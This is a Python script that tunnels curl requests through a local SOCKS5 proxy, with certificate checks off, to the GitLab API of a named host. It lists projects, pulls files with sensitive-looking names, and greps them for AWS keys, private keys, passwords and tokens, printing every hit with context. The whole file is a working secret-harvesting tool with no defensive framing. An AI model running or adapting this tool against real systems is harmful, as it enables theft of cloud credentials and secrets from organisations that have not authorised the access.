import json, re, subprocess, sys, urllib.parse

S = ['curl', '-sk', '-m', '25', '--socks5-hostname', '127.0.0.1:1080']
BASE = 'https://git.delta.com/api/v4'
KEY = re.compile(r'(AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|BEGIN [A-Z ]*PRIVATE KEY|(?i:passw|secret|token|api[_-]?key)[^\n]{0,80}[=:]\s*\S{6,})')
NAME = re.compile(r'(\.gitlab-ci\.yml|\.env|secret|credential|config|\.tf$|\.tfvars$|key|token|auth|docker-compose|\.yml$|\.yaml$|\.json$)', re.I)


def get(url):
    p = subprocess.run(S + [url], capture_output=True)
    return p.stdout


def main():
    projects = json.loads(get(BASE + '/projects?per_page=100'))
    print('projects', len(projects))
    for p in projects:
        pid = p['id']
        ref = p.get('default_branch') or 'main'
        tree = get(BASE + '/projects/%d/repository/tree?recursive=true&per_page=100&ref=%s' % (pid, urllib.parse.quote(ref)))
        try:
            items = json.loads(tree)
        except Exception:
            continue
        files = [i['path'] for i in items if i.get('type') == 'blob' and NAME.search(i['path'])]
        print('==', p['path_with_namespace'], ref, 'files', len(items), 'cand', len(files))
        for f in files[:25]:
            raw = get(BASE + '/projects/%d/repository/files/%s/raw?ref=%s' % (pid, urllib.parse.quote(f, safe=''), urllib.parse.quote(ref)))
            txt = raw.decode('utf-8', 'replace')
            for m in KEY.finditer(txt):
                line = txt[max(0, m.start() - 40):m.start() + 120].replace('\n', ' ')
                print('   !', p['path_with_namespace'], f, '::', line.strip()[:160])

main()
